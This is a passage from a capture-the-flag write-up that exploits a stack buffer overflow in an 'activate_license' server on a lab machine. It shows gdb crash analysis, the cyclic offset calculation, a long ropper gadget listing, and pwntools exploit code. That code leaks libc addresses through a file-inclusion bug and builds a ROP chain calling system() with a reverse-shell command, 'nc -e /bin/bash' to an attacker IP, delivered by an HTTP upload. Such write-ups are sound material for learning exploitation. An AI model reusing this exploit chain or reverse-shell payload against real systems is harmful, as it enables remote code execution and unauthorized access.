That should do it. Notice that I calculate the size and send it as 32-bit integer with big endian byte order. We do not need to do this later on when interacting with our real target since this is handled in the php code.

Now Let’s start the binary activate_license under gdb serving on port 1337.

[~/Desktop/retired]$ gdb --args activate_license 1337
GNU gdb (Debian 10.1-2) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.                                                                         
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from activate_licens...
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /home/f1rstr3am/Desktop/retired/activate_licens 1337
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337
[+] listening ...

Since it’s forking the process on every connection we need to make gdb follow the fork into the child. It’s inside the child the buffer overflow is happening. I actually poked around for a while before realising that I needed to do:

(gdb) set follow-fork-mode child

Now everything looks fine. It’s time to run my script to deliver our cyclic payload.

[~/Desktop/retired]$ python3 crash.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Closed connection to 127.0.0.1 port 1337

Looks good on the sending side let’s see what happened in gdb.

[+] accepted client connection from 127.0.0.1:5350
[Attaching after Thread 0x7ffff7b0f480 (LWP 92832) fork to child process 92859]
[New inferior 2 (process 92859)]
[Detaching after fork from parent process 92832]
[Inferior 1 (process 92832) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] reading 600 bytes
[+] activated license: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf RUUUU

Thread 2.1 "activate_licens" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7b0f480 (LWP 92859)]
0x00005555555555c0 in activate_license (sockfd=4) at activate_license.c:64
64      activate_license.c: No such file or directory.
(gdb) x $rsp
0x7fffffffdeb8: 0x66616166
(gdb) 

As expected we have a segmentation fault and when we look at $rsp it points to an address that stores 0x66616166. This is a part of the cyclic pattern and we can now use pwntools to calculate the offset that we need for placing our real payload.

[~/Desktop/retired]$ python3
Python 3.9.11 (main, Mar 17 2022, 07:20:01) 
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pwn
>>> pwn.cyclic_find(0x66616166)
520

The offset is 520 bytes. Now it’s time to decide how to exploit this bug.

Some further analysis on how to attack

The offset is stable and I now exactly where to put the start of my ROP chain. Everything but canaries was enabled so no coed execution on the stack here. ROP it is.

I will try to spawn a reverse shell here and since I can’t reach the process stdio execve() is not a good option but system() should be perfect for this. It just starts a new process and leaves it. That’s what we want.

https://man7.org/linux/man-pages/man3/system.3.html

This is what the function looks like from the Linux documentation.

int system(const char *command);

It takes a single string as a parameter to the function. That’s very simple and suits our needs. But here comes our first problem. That string will be put on the stack. We do know the address space from the map. But it turns out that there’s also a random offset (I guess this is an ASLR feature) that makes our address on the stack move around a bit every time.

We need stable grounds here so the idea here is to put the payload on the stack. Create a ROP chain that uses pop to move stuff of the stack and some kind of mov qword ptr [?] to move it to a writeable area.

Before diving in to the sea of gadgets let’s choose a writeable memory area where I will put my string.

559d398ef000-559d398f0000 rw-p 00003000 08:01 2408                       /usr/bin/activate_license

That page within the binary looks good to me. The goal is to put the string there. Get the address 559d398ef000 into the rdi register and then call system(). Let’s go gadget hunting.

Looking for suitable gadgets

For the first part i needed to find a gadget that modes a register to an adress stored in another register like:

mov qword ptr [rdi], rax; ret;

Libc is large and there are thousands of gadgets. I tried to narrow down my search but ran in to the problem that [] is interpreted as regexp. I tried different things but did not find a good solution. After trying some things I at least managed to narrow down my search.

[~/Desktop/retired]$ ropper -f libc-2.31.so --search 'mov qword ptr' | grep rax | grep rdx;         
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: mov qword ptr
[INFO] File: libc-2.31.so
0x0000000000094451: mov qword ptr [r11], rdx; mov rax, r12; pop r12; ret; 
0x00000000000783ac: mov qword ptr [r8 + 0x28], rdx; mov byte ptr [rax], dil; mov eax, r9d; ret; 
0x000000000004beef: mov qword ptr [r8 + rcx], rax; sub rcx, 8; cmp rcx, -8; jne 0x4bee8; mov rax, rdx; ret; 
0x000000000004d875: mov qword ptr [r8], rax; mov eax, 0xffffc002; sub eax, ecx; mov dword ptr [rdx], eax; mov eax, 1; ret;                                                                                                                          
0x000000000004d89a: mov qword ptr [r8], rax; mov eax, 1; mov dword ptr [rdx], 0xffffc002; ret; 
0x0000000000079be0: mov qword ptr [rax + 0x10], rcx; lea rdx, [r8 + rdx*4]; mov qword ptr [rax], rdx; xor eax, eax; ret; 
0x0000000000079bb0: mov qword ptr [rax + 0x10], rdi; mov qword ptr [rax + 0x40], rsi; mov qword ptr [rax], rdx; xor eax, eax; ret;                                                                                                                  
0x0000000000078df8: mov qword ptr [rax + 0x10], rdx; mov qword ptr [rax + 0x40], rcx; ret; 
0x0000000000078e35: mov qword ptr [rax + 0x10], rsi; mov qword ptr [rax + 0x40], rcx; mov qword ptr [rax], rdx; ret; 
0x00000000000794f7: mov qword ptr [rax + 0x18], rdx; xor eax, eax; mov dword ptr [rbx], ecx; pop rbx; ret; 
0x0000000000086756: mov qword ptr [rax + 0x20], rdx; add rsp, 8; ret; 
0x000000000007e46b: mov qword ptr [rax + 0x20], rdx; pop rbx; ret; 
0x00000000000794f3: mov qword ptr [rax + 0x28], rdx; mov qword ptr [rax + 0x18], rdx; xor eax, eax; mov dword ptr [rbx], ecx; pop rbx; ret;                                                                                                         
0x0000000000078e39: mov qword ptr [rax + 0x40], rcx; mov qword ptr [rax], rdx; ret; 
0x0000000000079bb4: mov qword ptr [rax + 0x40], rsi; mov qword ptr [rax], rdx; xor eax, eax; ret; 
0x0000000000078ded: mov qword ptr [rax + 8], rcx; mov rcx, qword ptr [rax + 0x10]; mov qword ptr [rax], rdx; mov qword ptr [rax + 0x10], rdx; mov qword ptr [rax + 0x40], rcx; ret; 
0x0000000000078e31: mov qword ptr [rax + 8], rdx; mov qword ptr [rax + 0x10], rsi; mov qword ptr [rax + 0x40], rcx; mov qword ptr [rax], rdx; ret; 
0x000000000007e463: mov qword ptr [rax + 8], rdx; mov rdx, qword ptr [rax + 0x18]; mov qword ptr [rax + 0x20], rdx; pop rbx; ret;                                                                                                                   
0x0000000000079654: mov qword ptr [rax], rcx; mov eax, dword ptr [rdx]; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000077569: mov qword ptr [rax], rcx; mov eax, dword ptr [rdx]; ret; 
0x00000000000860bd: mov qword ptr [rax], rcx; mov rax, qword ptr [rip + 0x137f19]; mov qword ptr [rax], rsi; mov rax, qword ptr [rip + 0x137e0f]; mov qword ptr [rax], rdx; ret; 
0x00000000000fdc92: mov qword ptr [rax], rdx; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000078df5: mov qword ptr [rax], rdx; mov qword ptr [rax + 0x10], rdx; mov qword ptr [rax + 0x40], rcx; ret; 
0x00000000000bb802: mov qword ptr [rax], rdx; mov qword ptr [rax + 8], rsi; add rsp, 0x10; pop rbp; ret; 
0x0000000000079b7f: mov qword ptr [rax], rdx; xor eax, eax; ret; 
0x00000000000343c7: mov qword ptr [rax], rdx; ret; 
0x00000000000860c7: mov qword ptr [rax], rsi; mov rax, qword ptr [rip + 0x137e0f]; mov qword ptr [rax], rdx; ret; 
0x000000000006b53a: mov qword ptr [rbp - 0x4f0], rcx; mov rdx, rcx; mov rsi, r10; mov rdi, r12; mov dword ptr [rbp - 0x4f8], r9d; call qword ptr [rax + 0x38];                                                                                      
0x000000000010a727: mov qword ptr [rbp - 0x70], rdx; mov edx, dword ptr [r12 + 0x18]; mov dword ptr [rbp - 0x80], edx; mov rdx, r13; call rax; 
0x000000000010a65d: mov qword ptr [rbp - 0x70], rdx; mov edx, dword ptr [r12 + 0x60]; mov dword ptr [rbp - 0x80], edx; mov rdx, rbx; call rax; 
0x000000000010a29e: mov qword ptr [rbp - 0x70], rdx; mov edx, dword ptr [rbx + 0x18]; mov dword ptr [rbp - 0x80], edx; mov rdx, r12; call rax; 
0x000000000010a4a1: mov qword ptr [rbp - 0x70], rdx; mov edx, dword ptr [rbx + 0x60]; mov dword ptr [rbp - 0x80], edx; mov rdx, r12; call rax; 
0x000000000010a103: mov qword ptr [rbp - 0x70], rdx; mov edx, dword ptr [rbx - 0x30]; mov dword ptr [rbp - 0x80], edx; mov rdx, r13; call rax; 
0x000000000010a96a: mov qword ptr [rbp - 0x70], rdx; mov edx, dword ptr [rcx + 0x18]; mov dword ptr [rbp - 0x80], edx; mov rdx, r12; call rax; 
0x000000000010ab67: mov qword ptr [rbp - 0x70], rdx; mov rdx, r12; call rax; 
0x000000000010ab58: mov qword ptr [rbp - 0x78], rdx; mov rdx, qword ptr [r13 - 0x10]; mov dword ptr [rbp - 0x80], 0; mov qword ptr [rbp - 0x70], rdx; mov rdx, r12; call rax; 
0x000000000008c274: mov qword ptr [rbp], rax; test rax, rax; je 0x8c3a8; mov rdx, r15; mov rdi, r12; call rax; 
0x00000000001377c5: mov qword ptr [rbx + 0x10], rax; pop rax; pop rdx; pop rbx; ret; 
0x000000000013777d: mov qword ptr [rbx + 0x18], rax; pop rax; pop rdx; pop rbx; ret; 
0x0000000000137b90: mov qword ptr [rbx], rax; pop rax; pop rdx; pop rbx; ret; 
0x00000000000e8e4a: mov qword ptr [rbx], rcx; mov qword ptr [rdx + rax*8], r12; pop rbx; pop rbp; pop r12; ret; 
0x0000000000058a7c: mov qword ptr [rbx], rdx; mov byte ptr [rax], bpl; pop rbx; pop rbp; pop r12; ret; 
0x0000000000060401: mov qword ptr [rbx], rdx; mov dword ptr [rax], ebp; pop rbx; pop rbp; pop r12; ret; 
0x000000000003ed86: mov qword ptr [rbx], rdx; mov rdi, qword ptr [rbp + 8]; call rax; 
0x000000000008c953: mov qword ptr [rbx], rdx; test rax, rax; je 0x8ca00; mov rsi, rbp; mov rdi, r12; call rax; 
0x000000000004bb3c: mov qword ptr [rcx + rax*8], rdi; add rax, 1; cmp rdx, rax; jne 0x4bb38; xor eax, eax; ret; 
0x000000000004bc24: mov qword ptr [rcx + rax*8], rdi; add rax, 1; cmp rdx, rax; jne 0x4bc20; xor eax, eax; ret; 
0x000000000005101c: mov qword ptr [rcx + rdx*8], rax; add rsp, 8; mov eax, r12d; pop rbx; pop r12; ret; 
0x0000000000034b47: mov qword ptr [rcx], rdx; mov rax, qword ptr [rax + 0x58]; mov rdx, qword ptr [rip + 0x1893d3]; add rax, 0x200; mov qword ptr fs:[rdx], rax; ret; 
0x00000000000342ed: mov qword ptr [rcx], rsi; cmp rax, rdx; mov rdx, -1; cmove rax, rdx; ret; 
0x000000000008257a: mov qword ptr [rdi + 0x10], rax; mov qword ptr [rdi + 0x18], rcx; mov qword ptr [rdi + 0x48], rdx; mov qword ptr [rdi + 8], rax; ret; 
0x00000000000a516f: mov qword ptr [rdi + 0x10], rdx; mov byte ptr [rdi + 0x18], cl; lea rax, [rdi + 0x19]; ret; 
0x00000000000a434f: mov qword ptr [rdi + 0x10], rdx; mov dword ptr [rdi + 0x17], ecx; lea rax, [rdi + 0x1a]; ret; 
0x00000000000a51af: mov qword ptr [rdi + 0x10], rdx; mov dword ptr [rdi + 0x17], ecx; lea rax, [rdi + 0x1b]; ret; 
0x00000000000a436f: mov qword ptr [rdi + 0x10], rdx; mov dword ptr [rdi + 0x18], ecx; lea rax, [rdi + 0x1b]; ret; 
0x00000000000a51cf: mov qword ptr [rdi + 0x10], rdx; mov dword ptr [rdi + 0x18], ecx; lea rax, [rdi + 0x1c]; ret; 
0x00000000000a4330: mov qword ptr [rdi + 0x10], rdx; mov word ptr [rdi + 0x18], cx; lea rax, [rdi + 0x19]; ret; 
0x00000000000a5190: mov qword ptr [rdi + 0x10], rdx; mov word ptr [rdi + 0x18], cx; lea rax, [rdi + 0x1a]; ret; 
0x000000000008257e: mov qword ptr [rdi + 0x18], rcx; mov qword ptr [rdi + 0x48], rdx; mov qword ptr [rdi + 8], rax; ret; 
0x000000000008254e: mov qword ptr [rdi + 0x48], rdx; mov qword ptr [rdi + 0x18], rax; mov qword ptr [rdi + 8], rax; ret; 
0x0000000000082582: mov qword ptr [rdi + 0x48], rdx; mov qword ptr [rdi + 8], rax; ret; 
0x0000000000082546: mov qword ptr [rdi + 0x58], rax; mov rax, qword ptr [rdi + 0x48]; mov qword ptr [rdi + 0x48], rdx; mov qword ptr [rdi + 0x18], rax; mov qword ptr [rdi + 8], rax; ret; 
0x00000000000a4b2a: mov qword ptr [rdi + 5], rdx; lea rax, [rdi + 0xc]; sub r8, 0xd; lea rdi, [rdi + 0xd]; jne 0xa53c0; ret;                                                                                                                        
0x00000000000a41aa: mov qword ptr [rdi + 5], rdx; lea rax, [rdi + 0xc]; ret; 
0x00000000000a4ffa: mov qword ptr [rdi + 5], rdx; lea rax, [rdi + 0xd]; ret; 
0x00000000000a4b5a: mov qword ptr [rdi + 6], rdx; lea rax, [rdi + 0xd]; sub r8, 0xe; lea rdi, [rdi + 0xe]; jne 0xa53c0; ret;                                                                                                                        
0x00000000000a41ca: mov qword ptr [rdi + 6], rdx; lea rax, [rdi + 0xd]; ret; 
0x00000000000a501a: mov qword ptr [rdi + 6], rdx; lea rax, [rdi + 0xe]; ret; 
0x00000000000a4b8a: mov qword ptr [rdi + 7], rdx; lea rax, [rdi + 0xe]; sub r8, 0xf; lea rdi, [rdi + 0xf]; jne 0xa53c0; ret;                                                                                                                        
0x00000000000a41ea: mov qword ptr [rdi + 7], rdx; lea rax, [rdi + 0xe]; ret; 
0x00000000000a503a: mov qword ptr [rdi + 7], rdx; lea rax, [rdi + 0xf]; ret; 
0x000000000004be5f: mov qword ptr [rdi + 8], r10; mov eax, ebx; adc rax, rdx; pop rbp; pop rbx; ret; 
0x000000000007f31e: mov qword ptr [rdi + 8], rdx; movzx eax, byte ptr [rax]; ret; 
0x000000000004ca5c: mov qword ptr [rdi + r11*8 + 8], r9; add rdx, r8; mov rax, rdx; pop rbx; ret; 
0x00000000001627ab: mov qword ptr [rdi + r8 - 8], rdx; lea rax, [rdi + r8]; vzeroupper; ret; 
0x000000000003ca28: mov qword ptr [rdi + rax], rdx; sub rax, 8; cmp rax, -8; jne 0x3ca20; xor eax, eax; ret; 
0x000000000003ca78: mov qword ptr [rdi + rax], rdx; sub rax, 8; cmp rax, -8; jne 0x3ca70; xor eax, eax; ret; 
0x00000000001620db: mov qword ptr [rdi + rdx - 7], r9; lea rax, [rdi + rdx]; vzeroupper; ret; 
0x00000000000a41a7: mov qword ptr [rdi], rcx; mov qword ptr [rdi + 5], rdx; lea rax, [rdi + 0xc]; ret; 
0x00000000000a4ff7: mov qword ptr [rdi], rcx; mov qword ptr [rdi + 5], rdx; lea rax, [rdi + 0xd]; ret; 
0x00000000000a41c7: mov qword ptr [rdi], rcx; mov qword ptr [rdi + 6], rdx; lea rax, [rdi + 0xd]; ret; 
0x00000000000a5017: mov qword ptr [rdi], rcx; mov qword ptr [rdi + 6], rdx; lea rax, [rdi + 0xe]; ret; 
0x00000000000a41e7: mov qword ptr [rdi], rcx; mov qword ptr [rdi + 7], rdx; lea rax, [rdi + 0xe]; ret; 
0x00000000000a5037: mov qword ptr [rdi], rcx; mov qword ptr [rdi + 7], rdx; lea rax, [rdi + 0xf]; ret; 
0x00000000001627a8: mov qword ptr [rdi], rcx; mov qword ptr [rdi + r8 - 8], rdx; lea rax, [rdi + r8]; vzeroupper; ret; 
0x00000000001620d8: mov qword ptr [rdi], rcx; mov qword ptr [rdi + rdx - 7], r9; lea rax, [rdi + rdx]; vzeroupper; ret; 
0x0000000000094685: mov qword ptr [rdi], rdx; add rax, rdi; ret; 
0x00000000000a4a73: mov qword ptr [rdi], rdx; lea rax, [rdi + 7]; sub r8, 8; lea rdi, [rdi + 8]; jne 0xa53c0; ret; 
0x00000000000a4123: mov qword ptr [rdi], rdx; lea rax, [rdi + 7]; ret; 
0x00000000000a4f63: mov qword ptr [rdi], rdx; lea rax, [rdi + 8]; ret; 
0x0000000000094805: mov qword ptr [rdi], rdx; lea rax, [rdi + rax - 1]; ret; 
0x0000000000100830: mov qword ptr [rdx + 0x10], rcx; mov qword ptr [r8], rax; mov qword ptr [rip + 0xbdb1e], 0; ret; 
0x00000000001007b0: mov qword ptr [rdx + 0x10], rcx; mov qword ptr [r8], rax; mov qword ptr [rip + 0xbdb9e], 0; ret; 
0x000000000008bbf9: mov qword ptr [rdx + 0x18], rax; mov ecx, 0xfedabeeb; add rax, qword ptr [rdx + 0x10]; xor rax, rcx; mov qword ptr [rdx + 8], rax; ret; 
0x000000000008674e: mov qword ptr [rdx + 0x28], rcx; mov rax, qword ptr [rdi + 0x28]; mov qword ptr [rax + 0x20], rdx; add rsp, 8; ret; 
0x00000000001520ca: mov qword ptr [rdx + 5], rax; lea rax, [rdx + 0xc]; ret; 
0x000000000014fbea: mov qword ptr [rdx + 5], rax; mov rax, rdi; sub r8, 0xd; lea rcx, [rdx + 0xd]; jne 0x14fde0; ret; 
0x000000000014dd3a: mov qword ptr [rdx + 5], rax; mov rax, rdi; ret; 
0x00000000001520ea: mov qword ptr [rdx + 6], rax; lea rax, [rdx + 0xd]; ret; 
0x000000000014fc0a: mov qword ptr [rdx + 6], rax; mov rax, rdi; sub r8, 0xe; lea rcx, [rdx + 0xe]; jne 0x14fde0; ret; 
0x000000000014dd5a: mov qword ptr [rdx + 6], rax; mov rax, rdi; ret; 
0x0000000000154352: mov qword ptr [rdx + 7], rax; lea rax, [rdx + 0xe]; cmp byte ptr [rax], 1; sbb rax, -1; ret; 
0x000000000015210a: mov qword ptr [rdx + 7], rax; lea rax, [rdx + 0xe]; ret; 
0x000000000014fc2a: mov qword ptr [rdx + 7], rax; mov rax, rdi; sub r8, 0xf; lea rcx, [rdx + 0xf]; jne 0x14fde0; ret; 
0x000000000014dd7a: mov qword ptr [rdx + 7], rax; mov rax, rdi; ret; 
0x00000000000bba12: mov qword ptr [rdx + 8], rax; add rsp, 8; pop rbp; pop r12; ret; 
0x0000000000151f9a: mov qword ptr [rdx + 8], rax; lea rax, [rdx + 0xf]; ret; 
0x000000000014f88a: mov qword ptr [rdx + 8], rax; mov rax, rdi; sub r8, 0x10; lea rcx, [rdx + 0x10]; jne 0x14fde0; ret; 
0x000000000014dc6a: mov qword ptr [rdx + 8], rax; mov rax, rdi; ret; 
0x00000000000f72ec: mov qword ptr [rdx + 8], rax; test rax, rax; je 0xf72f8; mov qword ptr [rax], rdx; ret; 
0x000000000008bc09: mov qword ptr [rdx + 8], rax; ret; 
0x00000000000e8e4d: mov qword ptr [rdx + rax*8], r12; pop rbx; pop rbp; pop r12; ret; 
0x00000000000f4bc6: mov qword ptr [rdx], rax; cmp rdi, rax; ja 0xf4bf8; xor eax, eax; ret; 
0x00000000001543fe: mov qword ptr [rdx], rax; lea rax, [rdx + 7]; cmp byte ptr [rax], 1; sbb rax, -1; ret; 
0x0000000000151f43: mov qword ptr [rdx], rax; lea rax, [rdx + 7]; ret; 
0x00000000000ffed3: mov qword ptr [rdx], rax; mov eax, 1; ret; 
0x0000000000152043: mov qword ptr [rdx], rax; mov eax, dword ptr [rcx + 5]; mov dword ptr [rdx + 5], eax; lea rax, [rdx + 8]; ret; 
0x000000000014dcf3: mov qword ptr [rdx], rax; mov eax, dword ptr [rcx + 5]; mov dword ptr [rdx + 5], eax; mov rax, rdi; ret;                                                                                                                        
0x0000000000152063: mov qword ptr [rdx], rax; mov eax, dword ptr [rcx + 6]; mov dword ptr [rdx + 6], eax; lea rax, [rdx + 9]; ret; 
0x000000000014dd03: mov qword ptr [rdx], rax; mov eax, dword ptr [rcx + 6]; mov dword ptr [rdx + 6], eax; mov rax, rdi; ret;                                                                                                                        
0x0000000000152083: mov qword ptr [rdx], rax; mov eax, dword ptr [rcx + 7]; mov dword ptr [rdx + 7], eax; lea rax, [rdx + 0xa]; ret; 
0x000000000014dd13: mov qword ptr [rdx], rax; mov eax, dword ptr [rcx + 7]; mov dword ptr [rdx + 7], eax; mov rax, rdi; ret;                                                                                                                        
0x00000000001520a3: mov qword ptr [rdx], rax; mov eax, dword ptr [rcx + 8]; mov dword ptr [rdx + 8], eax; lea rax, [rdx + 0xb]; ret; 
0x000000000014dd23: mov qword ptr [rdx], rax; mov eax, dword ptr [rcx + 8]; mov dword ptr [rdx + 8], eax; mov rax, rdi; ret;                                                                                                                        
0x00000000000bba0f: mov qword ptr [rdx], rax; mov qword ptr [rdx + 8], rax; add rsp, 8; pop rbp; pop r12; ret; 
0x00000000001520c3: mov qword ptr [rdx], rax; mov rax, qword ptr [rcx + 5]; mov qword ptr [rdx + 5], rax; lea rax, [rdx + 0xc]; ret; 
0x000000000014dd33: mov qword ptr [rdx], rax; mov rax, qword ptr [rcx + 5]; mov qword ptr [rdx + 5], rax; mov rax, rdi; ret;                                                                                                                        
0x00000000001520e3: mov qword ptr [rdx], rax; mov rax, qword ptr [rcx + 6]; mov qword ptr [rdx + 6], rax; lea rax, [rdx + 0xd]; ret; 
0x000000000014dd53: mov qword ptr [rdx], rax; mov rax, qword ptr [rcx + 6]; mov qword ptr [rdx + 6], rax; mov rax, rdi; ret;                                                                                                                        
0x0000000000152103: mov qword ptr [rdx], rax; mov rax, qword ptr [rcx + 7]; mov qword ptr [rdx + 7], rax; lea rax, [rdx + 0xe]; ret; 
0x000000000014dd73: mov qword ptr [rdx], rax; mov rax, qword ptr [rcx + 7]; mov qword ptr [rdx + 7], rax; mov rax, rdi; ret;                                                                                                                        
0x0000000000151f93: mov qword ptr [rdx], rax; mov rax, qword ptr [rcx + 8]; mov qword ptr [rdx + 8], rax; lea rax, [rdx + 0xf]; ret; 
0x000000000014dc63: mov qword ptr [rdx], rax; mov rax, qword ptr [rcx + 8]; mov qword ptr [rdx + 8], rax; mov rax, rdi; ret;                                                                                                                        
0x000000000014f823: mov qword ptr [rdx], rax; mov rax, rdi; sub r8, 8; lea rcx, [rdx + 8]; jne 0x14fde0; ret; 
0x000000000014dc13: mov qword ptr [rdx], rax; mov rax, rdi; ret; 
0x000000000012cfd1: mov qword ptr [rdx], rax; pop rbx; mov dword ptr [rip + 0x96fa1], 2; ret; 
0x0000000000034b5c: mov qword ptr [rdx], rax; ret; 
0x000000000002539d: mov qword ptr [rip + 0x19b28c], rdx; pop rax; pop rbx; pop rbp; ret; 
0x00000000001305e5: mov qword ptr [rsi], rax; mov qword ptr [rdi + 0x18], rdx; mov eax, r8d; ret; 
0x000000000003f455: mov qword ptr [rsi], rax; mov qword ptr [rsi + 8], rdx; sub ecx, 1; jns 0x3f429; xor eax, eax; ret; 
0x000000000012f81b: mov qword ptr [rsp + 0x10], rax; mov rax, qword ptr [rdi + 8]; shr rdx, 0x20; mov qword ptr [rsp + 8], rdx; call qword ptr [rax + 8]; 
0x000000000008796f: mov qword ptr [rsp + 0x10], rdx; mov rdi, r13; mov qword ptr [rsp + 8], r13; call qword ptr [rax]; 
0x00000000000879a3: mov qword ptr [rsp + 0x18], rdx; mov qword ptr [rsp + 0x10], rcx; mov qword ptr [rsp + 8], rdi; call rax;                                                                                                                       
0x00000000000f43e5: mov qword ptr [rsp + 0x28], rax; xor eax, eax; mov rdx, rsp; mov eax, 0x10; syscall; 
0x000000000012d4d6: mov qword ptr [rsp + 0x38], rdx; movups xmmword ptr [rsp + 0x18], xmm0; call qword ptr [rax + 0x18]; 
0x000000000012d7c6: mov qword ptr [rsp + 0x40], rdx; movups xmmword ptr [rsp + 0x18], xmm0; call qword ptr [rax + 0x18]; 
0x000000000013726e: mov qword ptr [rsp + 0x58], rax; mov rax, qword ptr [rsp + 0x18]; mov rdx, r14; mov esi, 0x40; mov rdi, rbx; call rax;                                                                                                          
0x00000000000f4219: mov qword ptr [rsp + 0x58], rax; xor eax, eax; lea rdx, [rsp + 0x30]; mov eax, 0x10; syscall; 
0x000000000012f738: mov qword ptr [rsp + 8], rdx; call qword ptr [rax + 8]; 
0x00000000000879e7: mov qword ptr [rsp + 8], rdx; call qword ptr [rax]; 
0x000000000012c0f4: mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
0x00000000000f9fcc: mov qword ptr [rsp], rdx; mov qword ptr [rsp + 0x10], rbx; call rax; 
0x000000000012cebe: mov qword ptr fs:[rax], rdx; ret; 
0x000000000003ed85: mov qword ptr fs:[rbx], rdx; mov rdi, qword ptr [rbp + 8]; call rax; 
0x0000000000034b46: mov qword ptr fs:[rcx], rdx; mov rax, qword ptr [rax + 0x58]; mov rdx, qword ptr [rip + 0x1893d3]; add rax, 0x200; mov qword ptr fs:[rdx], rax; ret; 
0x00000000000342ec: mov qword ptr fs:[rcx], rsi; cmp rax, rdx; mov rdx, -1; cmove rax, rdx; ret; 
0x000000000012cfd0: mov qword ptr fs:[rdx], rax; pop rbx; mov dword ptr [rip + 0x96fa1], 2; ret; 
0x0000000000034b5b: mov qword ptr fs:[rdx], rax; ret; 

Somewhere in the middle of all this I found:

0x00000000000343c7: mov qword ptr [rax], rdx; ret; 

If I can find some *pop rax; ret, pop rdx; ret and pop rdi; ret I should be good to go. These gadgets are common but before diving in to code lets be sure.

[~/Desktop/retired]$ ropper -f libc-2.31.so --search 'pop rax; ret'                       
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rax; ret

[INFO] File: libc-2.31.so
0x000000000003ee88: pop rax; ret; 

rax is all ok.

[~/Desktop/retired]$ ropper -f libc-2.31.so --search 'pop rdx; ret'  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdx; ret

[INFO] File: libc-2.31.so
0x00000000000cb1cd: pop rdx; ret; 

rdx is all ok.

[~/Desktop/retired]$ ropper -f libc-2.31.so --search 'pop rdi; ret' 
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret

[INFO] File: libc-2.31.so
0x0000000000026796: pop rdi; ret; 
0x0000000000084bfd: pop rdi; retf; adc eax, dword ptr [rax]; ror rax, 0x11; xor rax, qword ptr fs:[0x30]; jmp rax; 

And finally we have a pop rdi; ret. NOW I should be good to go and much of this work can be done by pwntools so let’s start up our Visual Studo Code.

Developing the exploit code

I wanted to automate most of the process in case the machine is rebooted. So first of all there are some constants.

url =  'http://10.129.125.160/index.php'
reverse_shell = 'nc -e /bin/bash 10.10.14.18 1337\0\0\0\0\0\0\0\0'
libc_binary = 'libc-2.31.so'
pid = 410

The url to the target’s index.php with the LFI. We will use that to automate the process of finding out adresses that we need.

The reverse shell is obviously the string that we want to send to system() and hopefully get a reverse connection back. And this should be divideable by 8 since we want to put it in registers.

I used the libc_binary to point to another libc when trying out the exploit locally. This will not be documented here. My 1000 restarts of gdb is not something that anyone want to read… ;)

And finally we can set the PID of the process that we found out earlier. If the machine should be rebooted this is easy to find out again.

So first of all I need to find out the base address of libc and the address to the writeable area tha I choosed before.

# Get the maps
params = {'page': '/proc/' + str(pid) + '/maps'}
r = requests.get(url, allow_redirects=False, params=params)

# Find LIBC and a writeable area
for line in r.text.splitlines():
    if 'activate_license' in line and 'rw' in line:
        writeable_address = int(line.split('-')[0], 16)
    if 'libc' in line and '00000000' in line:
        libc_address = int(line.split('-')[0], 16)

When I have these addresses I can initiate pwntools.

context.clear(arch='amd64')

libc = ELF(libc_binary)
libc.address = libc_address
rop = ROP(libc)

When pwntools knows these things it can help me generate the ROP chain. Most of the ROP is a loop that moves the string from the stack to the writeable area in memory. This is what creating the payload looks like.

for i in range(0, len(reverse_shell), 8):
    c = bytes(reverse_shell[i:i+8],'ascii')
    rop(rdx= c )
    rop(rax=writeable_address + i)
    rop.raw(p64(libc_address + 0x00000000000343c7))
rop.call('system', [writeable_address])    

payload = cyclic(520) + rop.chain()

I can use very nice things like rop(rdx= c ) and pwntools will find a suitable gadget for it. Even the last call rop.call(‘system’, [writeable_address]) looks really nice in my opinion.

One thing to notice here is the mov qword ptr gadget. Pwntools could not find it for med so I had to use the raw function here but since I had the offset 343c7 already this was not a major problem. Makes me wonder though at what point you should start making your ROP chains manually.

Anyhow after the payload is generated we write it to disk.

f = open('payload', 'wb')
f.write(payload)
f.close()

The final step is to deliver the payload to the activate_license.php page and the python library requests makes this really simple.

files = {'licensefile': open('payload','rb')}

url = 'http://10.129.125.160/activate_license.php'
r = requests.post(url, files=files)

And that’s about it. The complete script looks like this.

from pwn import *
